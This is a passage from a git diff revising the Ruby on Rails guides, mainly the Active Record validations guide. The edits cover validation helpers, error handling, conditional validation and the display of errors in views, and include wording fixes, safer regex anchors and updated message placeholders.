to write it to the database just call +save+ on it. -h3. Finding By SQL +h3. Finding by SQL If you'd like to use your own SQL to find records in a table you can use +find_by_sql+. The +find_by_sql+ method will return an array of objects even the underlying query returns just a single record. For example you could run this query: @@ -775,7 +843,7 @@ Client.find_by_sql("SELECT * FROM clients +find_by_sql+ provides you with a simple way of making custom calls to the database and retrieving instantiated objects. -h3. select_all +h3. +select_all+ <tt>find_by_sql</tt> has a close relative called +connection#select_all+. +select_all+ will retrieve objects from the database using custom SQL just like +find_by_sql+ but will not instantiate them. Instead, you will get an array of hashes where each hash indicates a record. diff --git a/railties/guides/source/activerecord_validations_callbacks.textile b/railties/guides/source/activerecord_validations_callbacks.textile index 01e52bf01e..5ae4884297 100644 --- a/railties/guides/source/activerecord_validations_callbacks.textile +++ b/railties/guides/source/activerecord_validations_callbacks.textile @@ -16,7 +16,7 @@ endprologue. h3. The Object Lifecycle -During the normal operation of a Rails application, objects may be created, updated, and destroyed. Active Record provides hooks into this <em>object lifecycle</em> so that you can control your application and its data. +During the normal operation of a Rails application objects may be created, updated, and destroyed. Active Record provides hooks into this <em>object lifecycle</em> so that you can control your application and its data. Validations allow you to ensure that only valid data is stored in your database. Callbacks and observers allow you to trigger logic before or after an alteration of an object's state. @@ -26,18 +26,18 @@ Before you dive into the detail of validations in Rails, you should understand a h4. Why Use Validations? -Validations are used to ensure that only valid data is saved into your database. For example, it may be important to your application to ensure that every user provides a valid email address and mailing address +Validations are used to ensure that only valid data is saved into your database. For example, it may be important to your application to ensure that every user provides a valid email address and mailing address. There are several ways to validate data before it is saved into your database, including native database constraints, client-side validations, controller-level validations, and model-level validations. * Database constraints and/or stored procedures make the validation mechanisms database-dependent and can make testing and maintenance more difficult. However, if your database is used by other applications, it may be a good idea to use some constraints at the database level. Additionally, database-level validations can safely handle some things (such as uniqueness in heavily-used tables) that can be difficult to implement otherwise. -* Client-side validations can be useful, but are generally unreliable if used alone. If they are implemented using Javascript, they may be bypassed if Javascript is turned off in the user's browser. However, if combined with other techniques, client-side validation can be a convenient way to provide users with immediate feedback as they use your site. +* Client-side validations can be useful, but are generally unreliable if used alone. If they are implemented using JavaScript, they may be bypassed if JavaScript is turned off in the user's browser. However, if combined with other techniques, client-side validation can be a convenient way to provide users with immediate feedback as they use your site. * Controller-level validations can be tempting to use, but often become unwieldy and difficult to test and maintain. Whenever possible, it's a good idea to "keep your controllers skinny":http://weblog.jamisbuck.org/2006/10/18/skinny-controller-fat-model, as it will make your application a pleasure to work with in the long run. * Model-level validations are the best way to ensure that only valid data is saved into your database. They are database agnostic, cannot be bypassed by end users, and are convenient to test and maintain. Rails makes them easy to use, provides built-in helpers for common needs, and allows you to create your own validation methods as well. h4. When Does Validation Happen? -There are two kinds of Active Record objects: those that correspond to a row inside your database and those that do not. When you create a fresh object, using the +new+ method, that object does not belong to the database yet. Once you call +save+ upon that object it will be saved into the appropriate database table. Active Record uses the +new_record?+ instance method to determine whether an object is already in the database or not. Consider the following simple Active Record class: +There are two kinds of Active Record objects: those that correspond to a row inside your database and those that do not. When you create a fresh object, for example using the +new+ method, that object does not belong to the database yet. Once you call +save+ upon that object it will be saved into the appropriate database table. Active Record uses the +new_record?+ instance method to determine whether an object is already in the database or not. Consider the following simple Active Record class: <ruby> class Person < ActiveRecord::Base @@ -57,11 +57,11 @@ We can see how it works by looking at some script/console output: => false </shell> -Creating and saving a new record will send an SQL +INSERT+ operation to the database. Updating an existing record will send an SQL +UPDATE+ operation instead. Validations are typically run before these commands are sent to the database. If any validations fail, the object will be marked as invalid and Active Record will not trigger the +INSERT+ or +UPDATE+ operation. This helps to avoid storing an object in the database that's invalid. You can choose to have specific validations run when an object is created, saved, or updated. +Creating and saving a new record will send an SQL +INSERT+ operation to the database. Updating an existing record will send an SQL +UPDATE+ operation instead. Validations are typically run before these commands are sent to the database. If any validations fail, the object will be marked as invalid and Active Record will not perform the +INSERT+ or +UPDATE+ operation. This helps to avoid storing an invalid object in the database. You can choose to have specific validations run when an object is created, saved, or updated. CAUTION: There are many ways to change the state of an object in the database. Some methods will trigger validations, but some will not. This means that it's possible to save an object in the database in an invalid state if you aren't careful. -The following methods trigger validations, and will save the object to the database only if the object is valid. The bang versions (e.g. +save!+) will raise an exception if the record is invalid. The non-bang versions (e.g. +save+) simply return +false+. +The following methods trigger validations, and will save the object to the database only if the object is valid: * +create+ * +create!+ @@ -71,6 +71,8 @@ The following methods trigger validations, and will save the object to the datab * +update_attributes+ * +update_attributes!+ +The bang versions (e.g. +save!+) raise an exception if the record is invalid. The non-bang versions don't: +save+ and +update_attributes+ return +false+, +create+ and +update+ just return the object/s. + h4. Skipping Validations The following methods skip validations, and will save the object to the database regardless of its validity. They should be used with caution. @@ -84,11 +86,11 @@ The following methods skip validations, and will save the object to the database * +update_attribute+ * +update_counters+ -Note that +save+ also has the ability to skip validations (and callbacks!) if passed +false+. This technique should be used with caution. +Note that +save+ also has the ability to skip validations if passed +false+ as argument. This technique should be used with caution. * +save(false)+ -h4. Object#valid? and Object#invalid? +h4. +valid?+ and +invalid?+ To verify whether or not an object is valid, Rails uses the +valid?+ method. You can also use this method on your own. +valid?+ triggers your validations and returns true if no errors were added to the object, and false otherwise. @@ -101,7 +103,7 @@ Person.create(:name => "John Doe").valid? # => true Person.create(:name => nil).valid? # => false </ruby> -When Active Record is performing validations, any errors found are collected into an +errors+ instance variable and can be accessed through an +errors+ instance method. An object is considered invalid if it has errors, and calling +save+ or +save!+ will not save it to the database. +When Active Record is performing validations, any errors found can be accessed through the +errors+ instance method. By definition an object is valid if this collection is empty after running validations. Note that an object instantiated with +new+ will not report errors even if it's technically invalid, because validations are not run when using +new+. @@ -135,7 +137,11 @@ end => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank </ruby> -To verify whether or not a particular attribute of an object is valid, you can use the +invalid?+ method. This method is only useful _after_ validations have been run, because it only inspects the errors collection and does not trigger validations itself. It's different from the +valid?+ method because it doesn't verify the validity of the object as a whole, but only if there are errors found on an individual attribute of the object. ++invalid?+ is simply the inverse of +valid?+. +invalid?+ triggers your validations and returns true if any errors were added to the object, and false otherwise. + +h4. +errors.invalid?+ + +To verify whether or not a particular attribute of an object is valid, you can use the +errors.invalid?+ method. This method is only useful _after_ validations have been run, because it only inspects the errors collection and does not trigger validations itself. It's different from the +ActiveRecord::Base#invalid?+ method explained above because it doesn't verify the validity of the object as a whole. It only checks to see whether there are errors found on an individual attribute of the object. <ruby> class Person < ActiveRecord::Base @@ -146,19 +152,19 @@ end >> Person.create.errors.invalid?(:name) # => true </ruby> -We'll cover validation errors in greater depth in the *Working with Validation Errors* section. For now, let's turn to the built-in validation helpers that Rails provides by default. +We'll cover validation errors in greater depth in the "Working with Validation Errors":#working-with-validation-errors section. For now, let's turn to the built-in validation helpers that Rails provides by default. h3. Validation Helpers -Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers create validation rules that are commonly used. Every time a validation fails, an error message is added to the object's +errors+ collection, and this message is associated with the field being validated. +Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers provide common validation rules. Every time a validation fails, an error message is added to the object's +errors+ collection, and this message is associated with the field being validated. -Each helper accepts an arbitrary number of attributes identified by symbols, so with a single line of code you can add the same kind of validation to several attributes. +Each helper accepts an arbitrary number of attribute names, so with a single line of code you can add the same kind of validation to several attributes. -All these helpers accept the +:on+ and +:message+ options, which define when the validation should be applied and what message should be added to the +errors+ collection when it fails, respectively. The +:on+ option takes one of the values +:save+ (the default), +:create+ or +:update+. There is a default error message for each one of the validation helpers. These messages are used when the +:message+ option isn't used. Let's take a look at each one of the available helpers. +All of them accept the +:on+ and +:message+ options, which define when the validation should be run and what message should be added to the +errors+ collection if it fails, respectively. The +:on+ option takes one of the values +:save+ (the default), +:create+ or +:update+. There is a default error message for each one of the validation helpers. These messages are used when the +:message+ option isn't specified. Let's take a look at each one of the available helpers. -h4. validates_acceptance_of +h4. +validates_acceptance_of+ -Validates that a checkbox on the user interface was checked when a form was submitted. This is normally used when the user needs to agree to your application's terms of service, confirm reading some text, or any similar concept. This validation is very specific to web applications and actually this 'acceptance' does not need to be recorded anywhere in your database (if you don't have a field for it, the helper will just create a virtual attribute). +Validates that a checkbox on the user interface was checked when a form was submitted. This is typically used when the user needs to agree to your application's terms of service, confirm reading some text, or any similar concept. This validation is very specific to web applications and this 'acceptance' does not need to be recorded anywhere in your database (if you don't have a field for it, the helper will just create a virtual attribute). <ruby> class Person < ActiveRecord::Base @@ -166,7 +172,7 @@ class Person < ActiveRecord::Base end </ruby> -The default error message for +validates_acceptance_of+ is "_must be accepted_" +The default error message for +validates_acceptance_of+ is "_must be accepted_". +validates_acceptance_of+ can receive an +:accept+ option, which determines the value that will be considered acceptance. It defaults to "1", but you can change this. @@ -176,7 +182,7 @@ class Person < ActiveRecord::Base end </ruby> -h4. validates_associated +h4. +validates_associated+ You should use this helper when your model has associations with other models and they also need to be validated. When you try to save your object, +valid?+ will be called upon each one of the associated objects. @@ -187,15 +193,15 @@ class Library < ActiveRecord::Base end </ruby> -This validation will work with all the association types. +This validation will work with all of the association types. -CAUTION: Don't use +validates_associated+ on both ends of your associations, because this will lead to several recursive calls and blow up the method calls' stack. +CAUTION: Don't use +validates_associated+ on both ends of your associations, they would call each other in an infinite loop. The default error message for +validates_associated+ is "_is invalid_". Note that each associated object will contain its own +errors+ collection; errors do not bubble up to the calling model. -h4. validates_confirmation_of +h4. +validates_confirmation_of+ -You should use this helper when you have two text fields that should receive exactly the same content. For example, you may want to confirm an email address or a password. This validation creates a virtual attribute, using the name of the field that has to be confirmed with '_confirmation' appended. +You should use this helper when you have two text fields that should receive exactly the same content. For example, you may want to confirm an email address or a password. This validation creates a virtual attribute whose name is the name of the field that has to be confirmed with "_confirmation" appended. <ruby> class Person < ActiveRecord::Base @@ -210,7 +216,7 @@ In your view template you could use something like <%= text_field :person, :email_confirmation %> </erb> -NOTE: This check is performed only if +email_confirmation+ is not nil, and by default only on save. To require confirmation, make sure to add a presence check for the confirmation attribute (we'll take a look at +validates_presence_of+ later on this guide): +This check is performed only if +email_confirmation+ is not +nil+. To require confirmation, make sure to add a presence check for the confirmation attribute (we'll take a look at +validates_presence_of+ later on this guide): <ruby> class Person < ActiveRecord::Base @@ -219,54 +225,54 @@ class Person < ActiveRecord::Base end </ruby> -The default error message for +validates_confirmation_of+ is "_doesn't match confirmation_" +The default error message for +validates_confirmation_of+ is "_doesn't match confirmation_". -h4. validates_exclusion_of +h4. +validates_exclusion_of+ This helper validates that the attributes' values are not included in a given set. In fact, this set can be any enumerable object. <ruby> -class MovieFile < ActiveRecord::Base - validates_exclusion_of :format, :in => %w(mov avi), - :message => "Extension %s is not allowed" +class Account < ActiveRecord::Base + validates_exclusion_of :subdomain, :in => %w(www), + :message => "Subdomain {{value}} is reserved." end </ruby> -The +validates_exclusion_of+ helper has an option +:in+ that receives the set of values that will not be accepted for the validated attributes. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. This example uses the +:message+ option to show how you can personalize it with the current attribute's value, through the +%s+ format mask. +The +validates_exclusion_of+ helper has an option +:in+ that receives the set of values that will not be accepted for the validated attributes. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. This example uses the +:message+ option to show how you can include the attribute's value. The default error message for +validates_exclusion_of+ is "_is not included in the list_". -h4. validates_format_of +h4. +validates_format_of+ -This helper validates the attributes' values by testing whether they match a given pattern. This pattern must be specified using a Ruby regular expression, which is specified using the +:with+ option. +This helper validates the attributes' values by testing whether they match a given regular expresion, which is specified using the +:with+ option. <ruby> class Product < ActiveRecord::Base - validates_format_of :description, :with => /^[a-zA-Z]+$/, + validates_format_of :legacy_code, :with => /\A[a-zA-Z]+\z/, :message => "Only letters allowed" end </ruby> The default error message for +validates_format_of+ is "_is invalid_". -h4. validates_inclusion_of +h4. +validates_inclusion_of+ This helper validates that the attributes' values are included in a given set. In fact, this set can be any enumerable object. <ruby> class Coffee < ActiveRecord::Base validates_inclusion_of :size, :in => %w(small medium large), - :message => "%s is not a valid size" + :message => "{{value}} is not a valid size" end </ruby> -The +validates_inclusion_of+ helper has an option +:in+ that receives the set of values that will be accepted. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. The previous example uses the +:message+ option to show how you can personalize it with the current attribute's value, through the +%s+ format mask. +The +validates_inclusion_of+ helper has an option +:in+ that receives the set of values that will be accepted. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. The previous example uses the +:message+ option to show how you can include the attribute's value. The default error message for +validates_inclusion_of+ is "_is not included in the list_". -h4. validates_length_of +h4. +validates_length_of+ -This helper validates the length of your attribute's value. It includes a variety of different options, so you can specify length constraints in different ways: +This helper validates the length of the attributes' values. It provides a variety of options, so you can specify length constraints in different ways: <ruby> class Person < ActiveRecord::Base @@ -281,24 +287,46 @@ The possible length constraint options are: * +:minimum+ - The attribute cannot have less than the specified length. * +:maximum+ - The attribute cannot have more than the specified length. -* +:in+ (or +:within+) - The attribute length must be included in a given interval. The value for this option must be a Ruby range. -* +:is+ - The attribute length must be equal to a given value. +* +:in+ (or +:within+) - The attribute length must be included in a given interval. The value for this option must be a range. +* +:is+ - The attribute length must be equal to the given value. -The default error messages depend on the type of length validation being performed. You can personalize these messages, using the +:wrong_length+, +:too_long+ and +:too_short+ options and the +%d+ format mask as a placeholder for the number corresponding to the length constraint being used. You can still use the +:message+ option to specify an error message. +The default error messages depend on the type of length validation being performed. You can personalize these messages using the +:wrong_length+, +:too_long+, and +:too_short+ options and <tt>{{count}}</tt> as a placeholder for the number corresponding to the length constraint being used. You can still use the +:message+ option to specify an error message. <ruby> class Person < ActiveRecord::Base - validates_length_of :bio, :too_long => "you're writing too much. %d characters is the maximum allowed." + validates_length_of :bio, :maximum => 1000, + :too_long => "{{count}} characters is the maximum allowed" +end +</ruby> + +This helper counts characters by default, but you can split the value in a different way using the +:tokenizer+ option: + +<ruby> +class Essay < ActiveRecord::Base + validates_length_of :content, + :minimum => 300, + :maximum => 400, + :tokenizer => lambda { |str| str.scan(/\w+/) }, + :too_short => "must have at least {{count}} words", + :too_long => "must have at most {{count}} words" end </ruby> The +validates_size_of+ helper is an alias for +validates_length_of+. -h4. validates_numericality_of +h4. +validates_numericality_of+ -This helper validates that your attributes have only numeric values. By default, it will match an optional sign followed by a integral or floating point number. Using the +:integer_only+ option set to true, you can specify that only integral numbers are allowed. +This helper validates that your attributes have only numeric values. By default, it will match an optional sign followed by an integral or floating point number. To specify that only integral numbers are allowed set +:only_integer+ to true. -If you set +:integer_only+ to +true+, then it will use the +$$/\A[+\-]?\d+\Z/+ regular expression to validate the attribute's value. Otherwise, it will try to convert the value to a number using +Kernel.Float+. +If you set +:only_integer+ to +true+, then it will use the + +<ruby> +/\A[+-]?\d+\Z/ +</ruby> + +regular expression to validate the attribute's value. Otherwise, it will try to convert the value to a number using +Float+. + +WARNING. Note that the regular expression above allows a trailing newline character. <ruby> class Player < ActiveRecord::Base @@ -309,19 +337,19 @@ end Besides +:only_integer+, the +validates_numericality_of+ helper also accepts the following options to add constraints to acceptable values: -* +:greater_than+ - Specifies the value must be greater than the supplied value. The default error message for this option is "_must be greater than (value)_" -* +:greater_than_or_equal_to+ - Specifies the value must be greater than or equal the supplied value. The default error message for this option is "_must be greater than or equal to (value)_" -* +:equal_to+ - Specifies the value must be equal to the supplied value. The default error message for this option is "_must be equal to (value)_" -* +:less_than+ - Specifies the value must be less than the supplied value. The default error message for this option is "_must e less than (value)_" -* +:less_than_or_equal_to+ - Specifies the value must be less than or equal the supplied value. The default error message for this option is "_must be less or equal to (value)_" -* +:odd+ - Specifies the value must be an odd number if set to true. The default error message for this option is "_must be odd_" -* +:even+ - Specifies the value must be an even number if set to true. The default error message for this option is "_must be even_" +* +:greater_than+ - Specifies the value must be greater than the supplied value. The default error message for this option is "_must be greater than {{count}}_". +* +:greater_than_or_equal_to+ - Specifies the value must be greater than or equal to the supplied value. The default error message for this option is "_must be greater than or equal to {{count}}". +* +:equal_to+ - Specifies the value must be equal to the supplied value. The default error message for this option is "_must be equal to {{count}}_". +* +:less_than+ - Specifies the value must be less than the supplied value. The default error message for this option is "_must be less than {{count}}_". +* +:less_than_or_equal_to+ - Specifies the value must be less than or equal the supplied value. The default error message for this option is "_must be less or equal to {{count}}_". +* +:odd+ - Specifies the value must be an odd number if set to true. The default error message for this option is "_must be odd_". +* +:even+ - Specifies the value must be an even number if set to true. The default error message for this option is "_must be even_". The default error message for +validates_numericality_of+ is "_is not a number_". -h4. validates_presence_of +h4. +validates_presence_of+ -This helper validates that the specified attributes are not empty. It uses the +blank?+ method to check if the value is either +nil+ or an empty string (if the string has only spaces, it will still be considered empty). +This helper validates that the specified attributes are not empty. It uses the +blank?+ method to check if the value is either +nil+ or a blank string, that is, a string that is either empty or consists of whitespace. <ruby> class Person < ActiveRecord::Base @@ -338,13 +366,13 @@ class LineItem < ActiveRecord::Base end </ruby> -If you want to validate the presence of a boolean field (where the real values are true and false), you should use +validates_inclusion_of :field_name, :in => [true, false]+. This is due to the way that +Object#blank?+ handles boolean values (+false.blank? # => true+). +Since +false.blank?+ is true, if you want to validate the presence of a boolean field you should use +validates_inclusion_of :field_name, :in => [true, false]+. The default error message for +validates_presence_of+ is "_can't be empty_". -h4. validates_uniqueness_of +h4. +validates_uniqueness_of+ -This helper validates that the attribute's value is unique right before the object gets saved. It does not create a uniqueness constraint directly into your database, so it may happen that two different database connections create two records with the same value for a column that you intend to be unique. To avoid that, you must create an unique index in your database. +This helper validates that the attribute's value is unique right before the object gets saved. It does not create a uniqueness constraint in the database, so it may happen that two different database connections create two records with the same value for a column that you intend to be unique. To avoid that, you must create an unique index in your database. <ruby> class Account < ActiveRecord::Base @@ -352,14 +380,14 @@ class Account < ActiveRecord::Base end </ruby> -The validation happens by performing a SQL query into the model's table, searching for a record where the attribute that must be validated is equal to the value in the object being validated. +The validation happens by performing a SQL query into the model's table, searching for an existing record with the same value in that attribute. There is a +:scope+ option that you can use to specify other attributes that are used to limit the uniqueness check: <ruby> class Holiday < ActiveRecord::Base validates_uniqueness_of :name, :scope => :year, - :message => "Should happen once per year" + :message => "should happen once per year" end </ruby> @@ -371,16 +399,18 @@ class Person < ActiveRecord::Base end </ruby> +WARNING. Note that some databases are configured to perform case-insensitive searches anyway. + The default error message for +validates_uniqueness_of+ is "_has already been taken_". -h4. validates_each +h4. +validates_each+ This helper validates attributes against a block. It doesn't have a predefined validation function. You should create one using a block, and every attribute passed to +validates_each+ will be tested against it. In the following example, we don't want names and surnames to begin with lower case. <ruby> class Person < ActiveRecord::Base validates_each :name, :surname do |model, attr, value| - model.errors.add(attr, 'Must start with upper case') if value =~ /^[a-z]/ + model.errors.add(attr, 'must start with upper case') if value =~ /\A[a-z]/ end end </ruby> @@ -389,22 +419,22 @@ The block receives the model, the attribute's name and the attribute's value. Yo h3. Common Validation Options -There are some common options that all the validation helpers can use. Here they are, except for the +:if+ and +:unless+ options, which are discussed later in the conditional validation topic. +There are some common options that all the validation helpers can use. Here they are, except for the +:if+ and +:unless+ options, which are discussed later in "Conditional Validation":#conditional-validation. -h4. :allow_nil +h4. +:allow_nil+ -The +:allow_nil+ option skips the validation when the value being validated is +nil+. You may be asking yourself if it makes any sense to use +:allow_nil+ and +validates_presence_of+ together. Well, it does. Remember, the validation will be skipped only for +nil+ attributes, but empty strings are not considered +nil+. +The +:allow_nil+ option skips the validation when the value being validated is +nil+. Using +:allow_nil+ with +validates_presence_of+ allows for +nil+, but any other +blank?+ value will still be rejected. <ruby> class Coffee < ActiveRecord::Base validates_inclusion_of :size, :in => %w(small medium large), - :message => "%s is not a valid size", :allow_nil => true + :message => "{{value}} is not a valid size", :allow_nil => true end </ruby> -h4. :allow_blank +h4. +:allow_blank+ -The +:allow_blank+ option is similar to the +:allow_nil+ option. This option will let validation pass if the attribute's value is +nil+ or an empty string, i.e., any value that returns +true+ for +blank?+. +The +:allow_blank+ option is similar to the +:allow_nil+ option. This option will let validation pass if the attribute's value is +blank?+, like +nil+ or an empty string for example. <ruby> class Topic < ActiveRecord::Base @@ -415,32 +445,32 @@ Topic.create("title" => "").valid? # => true Topic.create("title" => nil).valid? # => true </ruby> -h4. :message +h4. +:message+ -As you've already seen, the +:message+ option lets you specify the message that will be added to the +errors+ collection when validation fails. When this option is not used, Active Record will use the respective default error message for each validation helper, together with the attribute name. +As you've already seen, the +:message+ option lets you specify the message that will be added to the +errors+ collection when validation fails. When this option is not used, Active Record will use the respective default error message for each validation helper. -h4. :on +h4. +:on+ The +:on+ option lets you specify when the validation should happen. The default behavior for all the built-in validation helpers is to be ran on save (both when you're creating a new record and when you're updating it). If you want to change it, you can use +:on => :create+ to run the validation only when a new record is created or +:on => :update+ to run the validation only when a record is updated. <ruby> class Person < ActiveRecord::Base - # => it will be possible to update email with a duplicated value + # it will be possible to update email with a duplicated value validates_uniqueness_of :email, :on => :create - # => it will be possible to create the record with a 'non-numerical age' + # it will be possible to create the record with a non-numerical age validates_numericality_of :age, :on => :update - # => the default (validates on both create and update) + # the default (validates on both create and update) validates_presence_of :name, :on => :save end </ruby> h3. Conditional Validation -Sometimes it will make sense to validate an object just when a given predicate is satisfied. You can do that by using the +:if+ and +:unless+ options, which can take a symbol, a string or a Ruby Proc. You may use the +:if+ option when you want to specify when the validation *should* happen. If you want to specify when the validation *should not* happen, then you may use the +:unless+ option. +Sometimes it will make sense to validate an object just when a given predicate is satisfied. You can do that by using the +:if+ and +:unless+ options, which can take a symbol, a string or a +Proc+. You may use the +:if+ option when you want to specify when the validation *should* happen. If you want to specify when the validation *should not* happen, then you may use the +:unless+ option. -h4. Using a Symbol with :if and :unless +h4. Using a Symbol with +:if+ and +:unless+ You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a method that will get called right before validation happens. This is the most commonly used option. @@ -454,9 +484,9 @@ class Order < ActiveRecord::Base end </ruby> -h4. Using a String with :if and :unless +h4. Using a String with +:if+ and +:unless+ -You can also use a string that will be evaluated using +:eval+ and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition. +You can also use a string that will be evaluated using +eval+ and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition. <ruby> class Person < ActiveRecord::Base @@ -464,9 +494,9 @@ class Person < ActiveRecord::Base end </ruby> -h4. Using a Proc with :if and :unless +h4. Using a Proc with +:if+ and +:unless+ -Finally, it's possible to associate +:if+ and +:unless+ with a Ruby Proc object which will be called. Using a Proc object can give you the ability to write a condition that will be executed only when the validation happens and not when your code is loaded by the Ruby interpreter. This option is best suited when writing short validation methods, usually one-liners. +Finally, it's possible to associate +:if+ and +:unless+ with a +Proc+ object which will be called. Using a +Proc+ object gives you the ability to write an inline condition instead of a separate method. This option is best suited for one-liners. <ruby> class Account < ActiveRecord::Base @@ -481,12 +511,12 @@ When the built-in validation helpers are not enough for your needs, you can writ Simply create methods that verify the state of your models and add messages to the +errors+ collection when they are invalid. You must then register these methods by using one or more of the +validate+, +validate_on_create+ or +validate_on_update+ class methods, passing in the symbols for the validation methods' names. -You can pass more than one symbol for each class method and the respective validations will be ran in the same order as they were registered. +You can pass more than one symbol for each class method and the respective validations will be run in the same order as they were registered. <ruby> class Invoice < ActiveRecord::Base validate :expiration_date_cannot_be_in_the_past, - :discount_cannot_be_more_than_total_value + :discount_cannot_be_greater_than_total_value def expiration_date_cannot_be_in_the_past errors.add(:expiration_date, "can't be in the past") if @@ -494,8 +524,8 @@ class Invoice < ActiveRecord::Base end def discount_cannot_be_greater_than_total_value - errors.add(:discount, "can't be greater than total value") unless - discount <= total_value + errors.add(:discount, "can't be greater than total value") if + discount > total_value end end </ruby> @@ -503,25 +533,18 @@ end You can even create your own validation helpers and reuse them in several different models. Here is an example where we create a custom validation helper to validate the format of fields that represent email addresses: <ruby> -module ActiveRecord - module Validations - module ClassMethods - def validates_email_format_of(value) - validates_format_of value, - :with => /\A[\w\._%-]+@[\w\.-]+\.[a-zA-Z]{2,4}\z/, - :if => Proc.new { |u| !u.email.blank? }, - :message => "Invalid format for email address" - end - end +ActiveRecord::Base.class_eval do + def self.validates_as_radio(attr_name, n, options={}) + validates_inclusion_of attr_name, {:in => 1..n}.merge(options) end end </ruby> -Simply create a new validation method inside the +ActiveRecord::Validations::ClassMethods+ module. You can put this code in a file inside your application's *lib* folder, and then requiring it from your *environment.rb* or any other file inside *config/initializers*. You can use this helper like this: +Simply reopen +ActiveRecord::Base+ and define a class method like that. You'd typically put this code somewhere in +config/initializers+. You can use this helper like this: <ruby> -class Person < ActiveRecord::Base - validates_email_format_of :email_address +class Movie < ActiveRecord::Base + validates_as_radio :rating, 5 end </ruby> @@ -529,11 +552,11 @@ h3. Working with Validation Errors In addition to the +valid?+ and +invalid?+ methods covered earlier, Rails provides a number of methods for working with the +errors+ collection and inquiring about the validity of objects. -The following is a list of the most commonly used methods. Please refer to the ActiveRecord::Errors documentation for an exhaustive list that covers all of the available methods. +The following is a list of the most commonly used methods. Please refer to the +ActiveRecord::Errors+ documentation for a list of all the available methods. -h4. errors.add_to_base +h4. +errors.add_to_base+ -+add_to_base+ lets you add errors messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of it's attributes. +add_to_base+ simply receives a string and uses this as the error message. +The +add_to_base+ method lets you add errors messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of its attributes. +add_to_base+ simply receives a string and uses this as the error message. <ruby> class Person < ActiveRecord::Base @@ -543,29 +566,29 @@ class Person < ActiveRecord::Base end </ruby> -h4. errors.add +h4. +errors.add+ -+add+ lets you manually add messages that are related to particular attributes. Note that Rails will prepend the name of the attribute to the error message you pass it. You can use the +full_messages+ method to view the messages in the form they might be displayed to a user. +add+ receives a symbol with the name of the attribute that you want to add the message to, and the message itself. +The +add+ method lets you manually add messages that are related to particular attributes. You can use the +full_messages+ method to view the messages in the form they might be displayed to a user. Those particular messages get the attribute name prepended (and capitalized). +add+ receives the name of the attribute you want to add the message to, and the message itself. <ruby> class Person < ActiveRecord::Base def a_method_used_for_validation_purposes - errors.add(:name, "cannot contain the characters !@#$%*()_-+=") + errors.add(:name, "cannot contain the characters !@#%*()_-+=") end end -person = Person.create(:name => "!@#$") +person = Person.create(:name => "!@#") person.errors.on(:name) -# => "is too short (minimum is 3 characters)" + # => "cannot contain the characters !@#%*()_-+=" person.errors.full_messages -# => ["Name is too short (minimum is 3 characters)"] + # => ["Name cannot contain the characters !@#%*()_-+="] </ruby> -h4. errors.on +h4. +errors.on+ -+on+ is used when you want to check the error messages for a specific attribute. It will return different kinds of objects depending on the state of the +errors+ collection for the given attribute. If there are no errors related to the attribute, +on+ will return +nil+. If there is just one errors message for this attribute, +on+ will return a string with the message. When +errors+ holds two or more error messages for the attribute, +on+ will return an array of strings, each one with one error message. +The +on+ method is used when you want to check the error messages for a specific attribute. It returns different kinds of objects depending on the state of the +errors+ collection for the given attribute. If there are no errors related to the attribute +on+ returns +nil+. If there is just one error message for this attribute +on+ returns a string with the message. When +errors+ holds two or more error messages for the attribute, +on+ returns an array of strings, each one with one error message. <ruby> class Person < ActiveRecord::Base @@ -580,17 +603,17 @@ person.errors.on(:name) # => nil person = Person.new(:name => "JD") person.valid? # => false person.errors.on(:name) -# => "is too short (minimum is 3 characters)" + # => "is too short (minimum is 3 characters)" person = Person.new person.valid? # => false person.errors.on(:name) -# => ["can't be blank", "is too short (minimum is 3 characters)"] + # => ["can't be blank", "is too short (minimum is 3 characters)"] </ruby> -h4. errors.clear +h4. +errors.clear+ -+clear+ is used when you intentionally want to clear all the messages in the +errors+ collection. Of course, calling +errors.clear+ upon an invalid object won't actually make it valid: the +errors+ collection will now be empty, but the next time you call +valid?+ or any method that tries to save this object to the database, the validations will run again. If any of the validations fail, the +errors+ collection will be filled again. +The +clear+ method is used when you intentionally want to clear all the messages in the +errors+ collection. Of course, calling +errors.clear+ upon an invalid object won't actually make it valid: the +errors+ collection will now be empty, but the next time you call +valid?+ or any method that tries to save this object to the database, the validations will run again. If any of the validations fail, the +errors+ collection will be filled again. <ruby> class Person < ActiveRecord::Base @@ -601,7 +624,7 @@ end person = Person.new person.valid? # => false person.errors.on(:name) -# => ["can't be blank", "is too short (minimum is 3 characters)"] + # => ["can't be blank", "is too short (minimum is 3 characters)"] person.errors.clear person.errors.empty? # => true @@ -609,31 +632,36 @@ person.errors.empty? # => true p.save # => false p.errors.on(:name) -# => ["can't be blank", "is too short (minimum is 3 characters)"] + # => ["can't be blank", "is too short (minimum is 3 characters)"] </ruby> -h4. errors.size +h4. +errors.size+ -+size+ returns the total number of errors added. Two errors added to the same object will be counted as such. +The +size+ method returns the total number of error messages for the object. <ruby> class Person < ActiveRecord::Base validates_presence_of :name - validates_length_of :name, :minimum => 3 + validates_length_of :name, :minimum => 3 + validates_presence_of :email end person = Person.new person.valid? # => false -person.errors.size # => 2 +person.errors.size # => 3 + +person = Person.new(:name => "Andrea", :email => "andrea@example.com") +person.valid? # => true +person.errors.size # => 0 </ruby> h3. Displaying Validation Errors in the View Rails provides built-in helpers to display the error messages of your models in your view templates. -h4. error_messages and error_messages_for +h4. +error_messages+ and +error_messages_for+ -When creating a form with the form_for helper, you can use the error_messages method on the form builder to render all failed validation messages for the current model instance. +When creating a form with the +form_for+ helper, you can use the +error_messages+ method on the form builder to render all failed validation messages for the current model instance. <ruby> class Product < ActiveRecord::Base @@ -659,6 +687,8 @@ end <% end %> </erb> +To get the idea, if you submit the form with empty fields you typically get this back, though styles are indeed missing by default: + !images/error_messages.png(Error messages)! You can also use the +error_messages_for+ helper to display the error messages of a model assigned to a view template. It's very similar to the previous example and will achieve exactly the same result. @@ -685,53 +715,52 